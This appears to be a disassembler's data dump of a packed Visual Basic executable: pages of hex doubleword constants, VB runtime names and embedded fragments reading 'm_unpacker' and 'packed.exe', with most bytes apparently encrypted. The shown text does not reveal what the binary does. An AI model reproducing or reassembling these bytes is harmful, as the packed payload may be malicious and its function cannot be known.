		dd 43C6C7FFh, 992A816Eh, 8544C777h, 8DF76E41h, 5328C68Dh
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1904h
		dd 0C3514100h, 6F0CFEEh, 0F38AFA58h, 5998D89h, 6A064Dh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 0ECE253C3h, 49579691h, 958B399Bh, 64D211Dh, 51D85C7h
		dd 6724064Dh, 0CE90000h, 86000000h, 9C3E22CBh, 0DA7FD12Ch
		dd 0C705FD93h, 4D02E985h, 6, 53006A00h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 19812F37h
		dd 57437422h, 28D5BD8Bh, 0FF5E064Dh, 4D227DB5h,	52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1704h, 0C3524200h
		dd 39444B1Fh, 6810Fh, 858B0000h, 64D04F1h, 2E5595FFh, 6A064Dh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 2474ADC3h, 0FF006A0Ch, 4D051195h, 0EBC08B06h, 1C9E8969h
		dd 7D3CAA5Dh, 1E87F036h, 865EF87Ch, 0BA75CD5Ch,	2F4D290Dh
		dd 570A3BA7h, 88099D4Dh, 0FB2C9ED9h, 6888E2D7h,	890FA3E2h
		dd 57E5D744h, 0DB19B88Eh, 4D085671h, 29D88298h,	0CFEECB62h
		dd 0FA5806F0h, 0F42B6AEAh, 29F21C25h, 0E7EDD2A4h, 8CBE252Eh
		dd 53100136h, 74ACD05Ah, 0CA232565h, 0C5545175h, 53D47DBAh
		dd 0EE80F5Eh, 0CD000000h, 8E71C3C0h, 2E9ECBB2h,	2AE61B9Eh
		dd 0DDEA8118h, 587F7B1Dh, 0FDB58B60h, 8B064D11h, 4D317DB5h
		dd 0C0816106h, 6C9Eh, 65C28166h, 1B05BBD4h, 8E80000h, 52000000h
		dd 0FE6A644h, 5F9342B2h, 9529308Bh, 64D1AADh, 8D49C681h
		dd 0F6813B4Fh, 7C461165h, 0EE81C88Bh, 183B0F8h,	38F0Fh
		dd 0C1800000h, 8B665662h, 80008FF9h, 0E8831BC2h, 0BDBD0104h
		dd 83064D0Eh, 850F01EBh, 0FFFFFFC0h, 8E9h, 0A3D2AA00h
		dd 8FA095BFh, 15CE97Dh,	5C50000h, 3A4377E7h, 755F6D5Ch
		dd 6361706Eh, 72656Bh, 6B636170h, 652E6465h, 6578h, 3Ah	dup(0)
		db    0
		align 2
a3cannotFindS_P	db '3Cannot find ',27h,'%s',27h,'. Please, re-install this application',0
aThunrtmain	db 'ThunRTMain',0
a__vbavartstne	db '__vbaVarTstNe',0
		dw 0CF05h
		dd 0E9477Ch, 6800001Ch,	6532D38h, 0FA548CE9h, 2E5168FFh
		dd 82E90653h, 68FFFA54h, 6532F20h, 0FA5478E9h, 2FF668FFh
		dd 6EE90653h, 68FFFA54h, 653303Dh, 0FA5464E9h, 30F268FFh
		dd 5AE90653h, 68FFFA54h, 6533145h, 0FA5450E9h, 319E68FFh
		dd 46E90653h, 68FFFA54h, 6533886h, 0FA543CE9h, 395868FFh
		dd 32E90653h, 68FFFA54h, 65339F0h, 0FA5428E9h, 3AF468FFh
		dd 1EE90653h, 68FFFA54h, 6533B51h, 0FA5414E9h, 3C4768FFh
		dd 0AE90653h, 68FFFA54h, 6533CE5h, 0FA5400E9h, 3D8B68FFh
		dd 0F6E90653h, 68FFFA53h, 6534436h, 0FA53ECE9h,	450D68FFh
		dd 0E2E90653h, 68FFFA53h, 65345CDh, 0FA53D8E9h,	0F49A60FFh
		dd 973D08E8h, 3BE1AB8Bh, 0DC824F2Fh, 8127F0D0h,	1C7D7375h
		dd 0C1A1AD53h, 684854FAh, 0AEAF69Ch, 0F9909C42h, 0F583FD2Ch
		dd 0A3AED4FBh, 1E6291DEh, 13D4FBF6h, 86935BAAh,	0E8B55B28h
		dd 2CA2877h, 69318F5Ch,	7B5AB7C3h, 4E7DACF1h, 3D1383Dh
		dd 0D69ECD9Ah, 0AAD50204h, 0AAE6083Ch, 2B0846Fh, 0DB663D47h
		dd 0BB9593BDh, 859D0352h, 32B65BCFh, 2Eh, 8FDDF870h, 0D29FFD4Ah
		dd 0D5AEDD2Ch, 6CD13820h, 6D073603h, 13D50220h,	0C7BE88C4h
		dd 0E5B125C1h, 0BF3A2A96h, 0B65BB7A7h, 10054h, 39869200h
		dd 4F20760Ah, 6E1241DBh, 0C3DB4F20h, 0D7268F5Ah, 3E0BB179h
		dd 0A47117E0h, 0BD87E46h, 333FE5ADh, 4F26C682h,	8228F0DBh
		dd 7E49A776h, 4B9A0BD8h, 0CA9225EDh, 1876BB24h,	6CDDAA50h
		dd 0BFFB481Dh, 7A1F7D44h, 11B783D5h, 1B6AD344h,	92D79540h
		dd 6D6A1645h, 5EC7DB4Eh, 5C93C20Fh, 0B5D13794h,	2D6D3681h
		dd 0AB14CFFAh, 0D993429Fh, 1FE94794h, 0EC3BAC79h, 0F1FFD2BDh
		dd 0D1167FCAh, 92924884h, 0D157798Dh, 0B55B2482h, 369EDAA9h
		dd 436C4DA1h, 0F99F68BEh, 0E6CBB2Ch, 0BF879F45h, 619879C9h
		dd 19226E8Ch, 0E7AD0000h, 8A553541h, 2EF8D8E4h,	0CF9C7C88h
		dd 743D1D29h, 28C0C2CEh, 0ECF89E67h, 939F450Ch,	3541E7B3h
		dd 0DBE78D55h, 38487744h, 0F9D4FBF3h, 0AC75AEEEh, 2774C106h
		dd 4F2088F8h, 1940A9DBh, 0DB4F2067h, 0B49C8F61h, 2FFA0154h
		dd 836377C6h, 3A0915BBh, 1B6A10DCh, 0A2DDF853h,	296532D8h
		dd 198A61D5h, 36CD541h,	703571BEh, 713CCFEFh, 0EF94C312h
		dd 0D8D137EBh, 0EC245C8Bh, 0A40DD501h, 92E1874Eh, 5A8956BFh
		dd 0D501EC1Ah, 13DB1766h, 0BA222C59h, 0F76DD928h, 5B947A0Ch
		dd 0BFA1B6h, 0FC5A0000h, 723A892Fh, 3A07AD75h, 0B48013DCh
		dd 67D0410Eh, 89FAC422h, 105B9EE4h, 0C895FE05h,	9DE31257h
		dd 94DB4E77h, 0D807DC2Bh, 0DB4E7D70h, 0CCD87E46h, 397E24ECh
		dd 47A314DBh, 0FE80F845h, 21F645AEh, 98DD8F46h,	37BF8669h
		dd 16228BD1h, 761CE947h, 0E3894C27h, 28116F9Eh,	0B720CAF2h
		dd 0A54B1472h, 7FF0B999h, 0A67F29A4h, 0E3FB64B6h, 98797C19h
		dd 9C0DEB3h, 0C6000018h, 6E4E5A00h, 11F1FDA3h, 0B595A147h
		dd 563642E8h, 0D9DBE78Dh, 13B982D7h, 0BA602707h, 5C02CEAEh
		dd 2A87050h, 63925FF6h,	0D4FBF31Dh, 75C90914h, 2BFA06ACh
		dd 936006CDh, 0AD75D322h, 51A74D1Ah, 6A76DF85h,	7AD7520h
		dd 52B1ED3Ah, 4571111h,	8F5C02CAh, 866B51Eh, 318E9A40h
		dd 5483C8A4h, 0D1379E43h, 3968359Eh, 0D501503Bh, 726DD745h
		dd 0B65BEED0h, 0AC07h, 0B7F24500h, 973D0866h, 4686D48h
		dd 47CF90BFh, 0B922D138h, 0A18A4871h, 16BFE19Dh, 39E21156h
		dd 0B8F6505Eh, 2EA7824Fh, 3CAF93Eh, 4EF007BDh, 0E3A93C1Ah
		dd 46DCA81h, 3D4372BFh,	0F4F3C964h, 91EF3C8Bh, 371723C9h
		dd 0FDB1C96Fh, 77736130h, 173A84A2h, 0CF950000h, 723D1D29h
		dd 16E0C0CCh, 0B7846470h, 5C250511h, 0A8AAB6h, 0D4E0864Fh
		dd 7B872DF4h, 1D29CF9Bh, 0C3CF753Dh, 50305F2Ch,	0E1D4FBF1h
		dd 0AD7596D6h, 765F3A07h, 0A75B1F6h, 67194895h,	0CADB4F05h
		dd 0CECB2D61h, 98C71463h, 0D1378FFFh, 973D0A68h, 0C7548h
		dd 0D8B7F2B6h, 0FB2A6FFDh, 0D1384764h, 95DC248Dh, 0F9671948h
		dd 61CAD501h, 0F48BE312h, 577E49C6h, 4DB65C28h,	3AE0AA08h
		dd 0AC6F9EEBh, 4543C20Bh, 0A1340FDCh, 5D2886CBh, 0CE1B68B7h
		dd 3300A670h, 0F3C9B7E6h, 0FF68478Bh, 0B5184796h, 9C3D7969h
		dd 0C890EE33h, 39D42657h, 4814F9E9h, 8BD039A2h,	6BBDD84Fh
		dd 4A798BD9h, 413C0436h, 0DA2992FBh, 781EE6C6h,	0F790B060h
		dd 29471C0Eh, 1664h, 0F3FFA56Bh, 96A24813h, 3A46ECB6h
		dd 0DBE78D5Ah, 808C32FBh, 5C256A7Eh, 3CAAAB6h, 0A571515Dh
		dd 4B13F3FFh, 350299A5h, 0FBF17A06h, 6CACB7D4h,	531AAD75h
		dd 814EF4C0h, 263EA710h, 94E48C74h, 1DE503D8h, 0B2000016h
		dd 5A3A46ECh, 0FDDDE98Fh, 0A1818D33h, 42222ED4h, 0C5C7D379h
		dd 0FFA56E23h, 0A64C13F3h, 48EEBA9Ah, 0EE945C3Ch, 4F7E4BE2h
		dd 0D4FBF031h, 75B5F500h, 64C207ADh, 0D0A5F49Ah, 0D89FE0F5h
		dd 6B11DC32h, 118EBD02h, 0E0D13841h, 0BC086B77h, 3176F6DFh
		dd 15640AD3h, 28C699C8h, 53B1CAEBh, 0BE91E086h,	2BF89E68h
		dd 0E00951BAh, 0B2FA9472h, 296EFED7h, 0F52F21FAh, 9A67D027h
		dd 9D8B16BFh, 0BB5A69Ch, 70D97F4Ch, 9A64C207h, 0B58A5F4h
		dd 223221CFh, 410B2DF6h, 0F45DCE9Bh, 3F5776A5h,	91FA21ACh
		dd 8026EE4Ch, 26CC9474h, 441760Eh, 0C3E1B621h, 1568h, 0EFFBA167h
		dd 929E440Fh, 3642E8B2h, 0D7E38956h, 7C882EF7h,	5821767Ah
		dd 0FFC6A6B2h, 0A16D4D59h, 470FEFFBh, 31FE95A1h, 0FBF07E02h
		dd 68A8B3D4h, 4F20DCA4h, 307BF9DBh, 2A4ADB4Fh, 9BDB4F20h
		dd 0DB4F00D9h, 374FF5BDh, 94E4AC2Bh, 15E200D5h,	0BA000015h
		dd 62424EF4h, 5E5F197h,	0A989953Bh, 4A2A36DCh, 0CDCFDB81h
		dd 7AD76DBh, 0AE541BFBh, 50F6C2A2h, 0F69C6444h,	578653EAh
		dd 0D4FBF029h, 0F8BDFD08h, 237AC4DDh, 0FA81F0E5h, 321D4C91h
		dd 1FD1383Dh, 507F01C9h, 0D501E830h, 0C62F9801h, 0A9B5AAAEh
		dd 4F6D4292h, 14BCh, 9BA74D13h,	3E4AF0BBh, 0E2EE945Eh
		dd 838F3502h, 2834DAA3h, 4CD8226h, 0AB72525Eh, 4D19F905h
		dd 0F3BB9BA7h, 0DDAA414Dh, 0FBEFD2AEh, 14545FD4h, 3A07AD75h
		dd 22C88FEDh, 3795E455h, 0ECFCC96Fh, 83A35E06h,	38B0163Eh
		dd 28h,	20D0A476h, 0FEC6DB4Fh, 2DFAA06Bh, 964753BCh, 0DB2B978Ch
		dd 0BD438FCh, 449AEF54h, 9405D278h, 49405E2Bh, 0F6000014h
		dd 0B75D2886h, 1EC48CEAh, 2877E051h, 8F5C02CAh,	64B21B4h
		dd 3850E4D7h, 0D8E44DD1h, 0CD125A7Bh, 0EB185D9Eh, 608FD4CAh
		dd 0CEB4CB20h, 0FA3FA811h, 10912FBEh, 10553FF5h, 0B4B09FE1h
		dd 0DA2992CEh, 4ADDA705h, 9E0FDC82h, 0FB782935h, 9BCEB4B0h
		dd 0A9E52AD0h, 0B2E4659Fh, 0DB814BDAh, 0E5349D0Eh, 0B526F1D1h
		dd 0F582DABDh, 3D03931h, 7F47DAA5h, 0B480AB0Eh,	0BF285B02h
		dd 4B1881F2h, 9C4FF55Bh, 60204FD1h, 0D1CEB4F3h,	8CF42368h
		dd 0A5CEB4F3h, 0DFC7D33Ch, 0BC8C6F47h, 1AB74h, 0DDF8B200h
		dd 0A81B4A8Fh, 99D1382Fh, 4D17743h, 0FF5D2A93h,	0A2828E34h
		dd 9FEC31D7h, 2121070h,	69B821D5h, 0CBFA4794h, 0D50211B5h
		dd 95C4137Ch, 0D50221DFh, 0AF5212FEh, 0BDF93EE4h, 8A3BFBCh
		dd 0A3B706C7h, 98DD8F46h, 0EA47DA69h, 31FE67CAh, 17BD86E4h
		dd 2C8AD94Ah, 0D1B1BD63h, 66956208h, 0CEB43E1Ch, 0DFA604D1h
		dd 0ACFB6C39h, 18E10440h, 4A976672h, 0B07D23ECh
		dd 3D68183Fh, 753ECEB4h, 569B04CFh, 0B43D5927h,	206FD8CEh
		dd 8451F7C2h, 70B55B26h, 0B8F96B34h, 0AC0200ECh, 1723FE5h
		dd 0A6EDDDB2h, 20E97C48h, 0D33CAD7Ah, 0DA469506h, 5F2A886Ah
		dd 7BD2AEDDh, 0F65FCEB4h, 9862C08Dh, 0DC3A89F2h, 0BFE7A011h
		dd 0AA7D449Ch, 354D3541h, 0FDBC8C53h, 0E28852B0h, 37DA415h
		dd 2ECEB51Ch, 220E76C5h, 4C000000h, 3906AC75h, 9F6C12DBh
		dd 0E81B49AFh, 2BCAAE1Fh, 0F7211799h, 889A828Eh, 2FB0162Fh
		dd 0A4h, 5F28866Dh, 0F65F05CCh,	6309CCA7h, 83F4C01Eh, 0A18C0393h
		dd 0B10069EEh, 89563564h, 92FBD137h, 99C67C5h, 26329B41h
		dd 90D57B46h, 6AC06632h, 0BD2EFBA1h, 703B996Eh,	5A2785CAh
		dd 0A09065B4h, 0CD70A3Ah, 0D0725A66h, 7B65B9Bh,	44h, 5C288645h
		dd 0BE8BE9B6h, 71DA4B18h, 0E0904722h, 29F04E9Bh, 0F645B683h
		dd 4F2289C7h, 925FC8DBh, 741AE745h, 217EF625h, 7155DB4Fh
		dd 2C4493F3h, 2198B8E7h, 50B9DB4Fh, 4F177544h, 113C5AA9h
		dd 0F2000000h, 760A3986h, 0BBDB4F20h, 5AE50352h, 9B000000h
		dd 0B85E2886h, 0CD2B7AEBh, 32905D03h, 0CAB6E567h, 67DB4F20h
		dd 0BA8995FEh, 1EEB915Ch, 473968ADh, 0EADB4F20h, 9D43281h
		dd 1DBB9663h, 1C598855h, 64DB4F21h, 0E799C815h,	4ADB4F20h
		dd 3E2692E1h, 96B9A0DCh, 68C5D966h, 0BC2DFAA0h,	849E0453h
		dd 33B016AAh, 0C6Bh, 0A3E0F871h, 176431D7h, 4F2098E8h
		dd 0C73099DBh, 9762915Eh, 0E9529A56h, 740EC97Bh, 0A339BD0Ah
		dd 4Eh,	90E0F8E1h, 0C30F0F4Bh, 61D48910h, 0EA96C512h, 47DB4E4Fh
		dd 0BCE211DEh, 94B2C31Dh, 0B7C9F845h, 7A31DA81h, 0EE56C211h
		dd 9561BF0Ch, 81B8C8EFh, 107931DAh, 0DDCB5BC1h,	87F01962h
		dd 0A9000002h, 3747E86Dh, 672E5BEFh, 1A83F4C1h,	0E0F803CBh
		dd 83CDD090h, 760A3986h, 0BBDB4F20h, 0DDA50352h, 11B6F237h
		dd 1764724Dh, 0CFD41BBBh, 5129D09Bh, 0A112DF85h, 8321E938h
		dd 36C56DC1h, 60F2B316h, 30000000h, 0FDB3986h, 42B9C69h
		dd 0DB4F207Ch, 22FD4CB5h, 86F6B6B6h, 4F211C57h,	0DC9C05DBh
		dd 0B8FD3986h, 9DBCA7D2h, 861BE332h, 0C3BDEC39h, 6EDB4F20h
		dd 20A2DE05h, 268FDB4Fh, 9AF79D7h, 0F99F66C4h, 0E25F7DC5h
		dd 0CC1B3F2Fh, 5D288604h, 4579EAB7h, 8A6682F9h,	0E6358421h
		dd 19B51Eh, 0F86B0000h,	86D090E0h, 4F211C57h, 18D8C9DBh
		dd 0AB75BE86h, 3EA74D18h, 0A4BC847Eh, 0ADF5261Ch, 0CC723D9Bh
		dd 0C3561F7Dh, 0DBE750F6h, 0D8A033FBh, 8BF46532h, 3EE4AD8Dh
		dd 6DD73B40h, 0C40CB27Ah, 0B9FEA46Ch, 38FF925Bh, 0EB54C592h
		dd 7AC7969Ch, 83AA501Ch, 50C51BFDh, 9B7CCB34h, 0E163CF20h
		dd 489036FEh, 848228F0h, 0FC77DBA4h, 2550C51Bh,	1BCFB1E0h
		dd 0F96250C5h, 298D9290h, 5A00C83Bh, 4BF1BA12h,	6D179D7Eh
		dd 0DD3BDD87h, 0C2206F15h, 674753F9h, 92EE1D9Fh, 9F50C51Bh
		dd 0EFCFCD36h, 2857A426h, 50C51B58h, 4BA6F870h,	4F1A84D4h
		dd 0B6897E6h, 1650C518h, 8350F6C0h, 4FF5BC12h, 0AAA81182h
		dd 0F9EC58BEh, 0FC438B31h, 0A550BAC0h, 2E7D568Dh, 646208D0h
		dd 0CA703795h, 25209A7Bh, 0FB582E0h, 1682D142h,	4DF3BB2Eh
		dd 9360BE05h, 78409EEDh, 2BF4D4D2h, 0DDA78785h,	420C6A37h
		dd 81E7CF9Ch, 4D920DC3h, 0E8AFD100h, 2C8250C4h,	7FF0BD63h
		dd 0E95BC716h, 40882EF6h, 2AD09BF9h, 288613DBh,	0D6AAD95Bh
		dd 5BDB4F20h, 4BBC89F2h, 0B8852BF5h, 0D29AF847h, 83CD6C2Ch
		dd 68C6DFF8h, 0EF4DD79Fh, 0B7F338A1h, 2C04DB3Bh, 0CB93E21Ah
		dd 0C56DC183h, 0F2B31636h, 40h,	5D288630h, 2A79EAB7h, 28E8884Fh
		dd 11DB3986h, 0DE2D9E6Bh, 4F20C4AFh, 34F45DDBh,	2886BE86h
		dd 0C6AB95Fh, 1A569B41h, 0E56335BCh, 225E8DFDh,	0FDB4E6Eh
		dd 26EE3DA6h, 27B5BC84h, 6B000000h, 0D191DFF8h,	211C5786h
		dd 2D8BDB4Fh, 82F3C066h, 0ED682433h, 76D5325Ah,	86501079h
		dd 17AA75BEh, 8040A94Fh, 52A4BC84h, 66DB4F30h, 0C69BBBAh
		dd 70B51E55h, 2407EA34h, 4E808BF5h, 93DA6DBh, 3B8A15C0h
		dd 0FFFD181Dh, 0D0A4D3FFh, 49DB4F20h, 0D1C7038Fh, 367520Fh
		dd 7DE49CC3h, 0F74DDB4Eh, 46B7842Ah, 886874DDh,	1C4B18BEh
		dd 0DB4E7D64h, 36A99B7Fh, 0DABAC66Ch, 5D690Fh, 9DCC99D7h
		dd 1520D2AAh, 7C49A7F6h, 11B780D6h, 0F3EE56C2h,	0F240C853h
		dd 29A88h, 2886C600h, 3867B65Ch, 0DB4F203Bh, 91AAF7DEh
		dd 5F8CD2B6h, 63B0F55Eh, 0C5549A27h, 0DA0E09DCh, 2FEB9B54h
		dd 3D6CBB5Ch, 0D137D886h, 299A65BBh, 7BF74A48h,	0D0268FFCh
		dd 24956208h, 5CFAFBBh,	0F1BC1A5Fh, 0C927FC4Bh,	0D71358FEh
		dd 9B1B0108h, 0FC84B377h, 35D50207h, 3F1463CCh,	4B63B6F2h
		dd 0CA4624BCh, 0D0521D7Bh, 1DEDFA1h, 0D7A9D8D5h, 5AD501DEh
		dd 54BD26F1h, 5629AC87h, 387DE68Ch, 0EB098E09h,	749DD9CAh
		dd 0D0BE0B7Eh, 16A3D8Ch, 7E5449E9h, 809E7398h, 0DD4h, 838F35FBh
		dd 2632D8A3h, 0CAD67C46h, 6B771DEAh, 101CC28Bh,	0ECB59A0Eh
		dd 935A3A46h, 3501E1EDh, 0DBA3838Fh, 0C5922935h, 0FBE8EA96h
		dd 0FC3C47D4h, 3A07AD75h, 0B1F6765Fh, 224C0782h, 8CD13AD1h
		dd 3D46033Fh, 50D59E39h, 0BF8C32FAh, 0D7A1FF4Eh, 465A2655h
		dd 6ED7D4FBh, 41AA5018h, 52D49EFCh, 0FB465D23h,	26BD4D4h
		dd 713EE4ACh, 0BD9DB100h, 0ED9360F3h, 8E59AF20h, 41AA1BE8h
		dd 62EB2774h, 0A3DD0CBEh, 8ED4FB38h, 0A360F125h, 753D9BEAh
		dd 68B502CFh, 0CE9B410Ah, 3B4A365Dh, 935CD4FBh,	0E4AF20EDh
		dd 7907367Bh, 0B8D4FB3Bh, 0B025004Fh, 0DD2A77BCh, 0FB3BD2AEh
		dd 6208D4D4h, 0B0DF2E97h, 0CAE44D17h, 83A9C12Ah, 2998447Ah
		dd 0D023654h, 7CD0000h,	0AA755561h, 4E18F804h, 0EFBC9CA8h
		dd 945D3D49h, 0C8E0E2EEh, 0C18BE87h, 0B3BF652Ch, 556107D3h
		dd 0FB07AD75h, 18689764h, 19D4FBE8h, 0AD75CE0Eh, 765F3A07h
		dd 7982B1F6h, 0B8D1384Bh, 9B63434Fh, 498CE9F5h,	8BA2DE23h
		dd 24CA92EFh, 0D66438F0h, 0A0ED3A87h, 1DD0F71h,	6AB922D5h
		dd 0D507533Bh, 5095FECAh, 768228F2h, 5926CC96h,	0D6A033FBh
		dd 89F26330h, 0B8C8F744h, 79CEAEB1h, 11ECC110h,	3463A8C4h
		dd 0C497C293h, 92D45AEh, 0A386090Ch, 0C6AB0CEh,	9F650000h
		dd 420DEDF9h, 0E6B0909Ch, 87543440h, 2CF5D5E1h,	70787A86h
		dd 0A4B0561Fh, 4B57FDC4h, 0EDF99F6Bh, 939F450Dh, 80002FFCh
		dd 0B1D4FBE7h, 0AD7566A6h, 765F3A07h, 2095EB1Ah, 339CDB4Fh
		dd 355685CAh, 1CD1384Fh, 9CD8A7B3h, 0E9749ACFh,	54B2014Bh
		dd 0A92BF689h, 1C5067Ah, 59C22BD5h, 6DB21B8Ch, 499F450Fh
		dd 9B0CD97Fh, 0B69384Ch, 41E7B043h, 0CD9A0374h,	0D0955391h
		dd 2A9355BBh, 42B37DDBh, 6C3513E8h, 186C92C6h, 636320F3h
		dd 0E24B79DFh, 0F8236D79h, 1B4A8FDDh, 0D13848C0h, 0CCFBC831h
		dd 0D501F8A8h, 0AF7C22EEh, 0C3188951h, 660F6024h, 6BC996FFh
		dd 0BE2FFCA2h, 0FEF470D6h, 0B5202492h, 0B65B00ADh, 734Ah
		dd 0AA758800h, 9761BF04h, 64B324F1h, 0C066318Fh, 35C895F3h
		dd 195EC76Dh, 7E4BF1BBh, 8BE9BE0Dh, 0B10E1AC0h,	0D4034824h
		dd 0D138543Bh, 0BB95AD16h, 192A9BFh, 0B660E2Ch,	0A3690000h
		dd 4611F1FDh, 0EAB494A0h, 8B583844h, 30F9D9E5h,	747C7E8Ah
		dd 0A8B45A23h, 4F5B01C8h, 0F1FDA36Fh, 97A34911h, 7C043300h
		dd 0B5D4FBE6h, 0AA756AAAh
		dd 5458F804h, 0E000000h, 4A17AA75h, 216E3BA4h, 150F6C3h
		dd 78BDAF26h, 384B4E49h, 122A93D1h, 92A9A738h, 9819F74h
		dd 0C600000Bh, 6E4E5A00h, 11F1FDA3h, 0B595A147h, 563642E8h
		dd 0D9DBE78Dh, 13B982D7h, 0BA602707h, 5C02CEAEh, 2A87050h
		dd 63925FF6h, 0D4FBE61Dh, 75C90914h, 0DC3A07ADh, 0FB58114h
		dd 2368D142h, 0F14C2EE7h, 56A5B085h, 4CAA7181h,	0A011DE84h
		dd 847FE551h, 0B016C6E2h, 26E19h, 0AB74D200h, 0F2EEB605h
		dd 3F2DA8C7h, 3ED19CFAh, 9203D076h, 408DDA29h, 20BCC4F3h
		dd 0C75DB4Fh, 47D18EBDh, 0B720D138h, 3A783672h,	6706A3C7h
		dd 2381C818h, 56FCC85Bh, 0E2AF1889h, 7F1A6695h,	0AE17D501h
		dd 0DAC7F645h, 0FBE9A27h, 1461A6C6h, 7B48EEB6h,	4F8CBB0Ah
		dd 0A2D75302h, 0CA96F439h, 0A7919859h, 88F14EFDh, 4C896439h
		dd 0F5C26833h, 0A7D61B84h, 0D10A5826h, 1F7DC22Bh, 0C5A5B157h
		dd 344C7BFDh, 94D4CC6Bh, 0BD9FB484h, 0FD663189h, 0A9287C94h
		dd 0FFD49266h, 0A13E1h,	50F6BC00h, 0F3996444h, 973D07E7h
		dd 38DEAB8Bh, 0DD834C2Ch, 78D9CFD1h, 1DFD09AFh,	0C4A4B056h
		dd 664652F8h, 55ECF89Eh, 0E5275988h, 0FF0AD4FBh, 4AA75BFh
		dd 0F3795C37h, 4C517FAEh, 9700D122h, 89B80552h,	0D4FBF5F7h
		dd 5C8CC7D1h, 0EEB95251h, 11D83685h, 0B87F5F6Bh, 6B6A4512h
		dd 2E8DBC01h, 3CAE4ECh,	0D23BE1ADh, 0C2682F8Dh,	0B0561F7Dh
		dd 207E4D61h, 462B157h,	7DCA973Dh, 0E97F0130h, 49B2CEAEh
		dd 41D49CFAh, 0BBC5F476h, 76CEAEE9h, 233BA40Dh,	9844BAC7h
		dd 757E9C71h, 5A000009h, 2E2EE94h, 0A5859137h, 492935DBh
		dd 0EACAD67Ch, 6D6F7B21h, 0A74D167Bh, 4EF4BB9Bh, 0F0966242h
		dd 963C04E4h, 0F726F38Ah, 0D4FBE489h, 0B85D9DA8h, 4F207711h
		dd 0AC987CDBh, 0B682E027h, 0AE2ADC10h, 0D29E7855h, 3F2DA883h
		dd 11F0CBFAh, 0D841D138h, 1DE84693h, 0CA2877h, 327F4E5Ah
		dd 3B6208D4h, 0D5020F45h, 26CC96ECh, 297FE859h,	7EEFBC62h
		dd 0EB81542Fh, 0B90A77A6h, 0BE27CAF2h, 0D1531B79h, 3300A673h
		dd 66E59BC2h, 0E34CCEB2h, 67116F9Eh, 0B720CEB2h, 9A62424Eh
		dd 3794DCF4h, 4B209878h, 8CF2Dh, 943A0000h, 37DDA888h
		dd 0DB814B2Bh, 7C22EFCFh, 21C79070h, 0BC9D1315h, 61414DF3h
		dd 8E8F49Ah, 0AA8A963Ch, 99303CE2h, 0E3E39DCCh,	434ED4FBh
		dd 20D0A403h, 0FEC6DB4Fh, 417D4C58h, 0DB4686D9h, 9BCA0F65h
		dd 0DB4EF6E5h, 0B994E34Ch, 0F59B631Ch, 94EB728h, 834FE2ABh
		dd 0D82574DDh, 3844B6A9h, 8DD23BD1h, 6DBC622Fh,	0A875D320h
		dd 8955B302h, 2BF7D7E3h, 2F5ECF98h, 44E65063h, 2D72DB44h
		dd 14784FF1h, 0A7F65D18h, 842B4D2h, 0F86A0000h,	0FD4A8FDDh
		dd 2352D49Fh, 0DB4F205Dh, 0B3026BD4h, 38253F84h, 5D2A88D1h
		dd 2A79EAB7h, 0D421EE57h, 8642F998h, 5DAC7F62h,	211462Eh
		dd 0E28850D5h, 4AF0B715h, 0CC785C7Dh, 1185FB2Ah, 43ACD502h
		dd 44006EDAh, 5B4D8999h, 1482EB6h, 756C0000h, 0D83603A9h
		dd 76A3A011h, 59A108C0h, 157EE78Dh, 7C22EA48h, 0DF8551AFh
		dd 8127F3D3h, 6C12DE3Ch, 0ADF2E9Fh, 82C7A72Fh, 4F1BE553h
		dd 6D33CDBh, 0A04301E5h, 0CF7541D4h, 0F7C32166h, 0C4138451h
		dd 5E04D0B0h, 1B0A6291h, 0B17CDB4Fh, 1880002Fh,	48B1DB4Fh
		dd 0ECB412DFh, 2B917946h, 0B69AB339h, 0E98F5B8Eh, 165680DDh
		dd 0EE4884D1h, 89337126h, 4B3D6CBBh, 7CDB4F03h,	5FAE541Eh
		dd 7E25588Ch, 60B6A13Ah, 1F88F197h, 872DF452h, 41D49B7Bh
		dd 5F8ED379h, 0DB4E5021h, 713EA710h, 60A54B13h,	5A7B2524h
		dd 73C9B865h, 0E2B706ACh, 8467DDC1h, 3C0B17BDh,	0A16E14DEh
		dd 0BC83E130h, 0A673D116h, 1DCB100h, 245398D4h,	0D1376493h
		dd 3919258Eh, 0A78B0172h, 1563F5F8h, 0D204DFACh, 0A8B597CFh
		dd 0CA3334BBh, 0B75D2785h, 0DD2A79EAh, 1C7CEAEh, 2DFA63D5h
		dd 0C93C280Ch, 0DB175C02h, 5A22651Bh, 4BE480B4h, 0C7A7BB0Ah
		dd 0B7155A00h, 0A7B48EEh, 5D99E6BBh, 1F0F0370h,	0C895EBD7h
		dd 0DDF8D322h, 941B4A8Fh, 7DCAEA74h, 0FD390814h, 0B9846BB9h
		dd 262ADF13h, 0FD4EEC20h, 80A2611h, 0EE945BB9h,	903602E2h
		dd 0DDF83A84h, 0A01B4A8Fh, 17D13850h, 7C49EFB9h, 0A4E9BC0Bh
		dd 1F10B75h, 2AD09BD5h,	0C08DF65Fh, 0E5F19762h,	46ECB816h
		dd 0DFF82FF7h, 1ACD29C6h, 0E773C93h, 0D6621241h, 0B01EDB4Eh
		dd 83949B4h, 9BF9B016h,	73DB2AD0h, 26h,	4AA75B1h, 20780837h
		dd 0A66BDB4Fh, 7FC7C06Ah, 54A35067h, 0BE897CE8h, 0D95B0C18h
		dd 0AADB4EEDh, 0FFFFB994h, 39864AFFh, 4F20760Ah, 0FC52BBDBh
		dd 0E03E8D33h, 0FEB27218h, 91DFF836h, 0A3F0BFD1h, 5D27845h
		dd 21136D94h, 0D91EDB4Fh, 4F20D6AAh, 89F25BDBh,	0F9C66C33h
		dd 6D713988h, 0B31636C5h, 3DF2h, 2F5EAB00h, 0DE4F2051h
		dd 602877E0h, 0D191DFF8h, 760A3986h, 30DB4F20h,	8DF6C167h
		dd 57A4F13Eh, 4F205828h, 2170D9DBh, 4F208EF2h, 7A3AA3DBh
		dd 0AA75BE86h, 0BC844404h, 49B5h, 0DFF86B00h, 3986D191h
		dd 0C4FF5FFDh, 4F94AB56h, 4E256020h, 1968D1DBh,	4E2596EAh
		dd 0F8C321DBh, 3F40352h, 0F39960BEh, 9E66B526h,	13DB3986h
		dd 0A74D176Dh, 521A69DAh, 4404AA75h, 0B55B2886h, 0D92877E8h
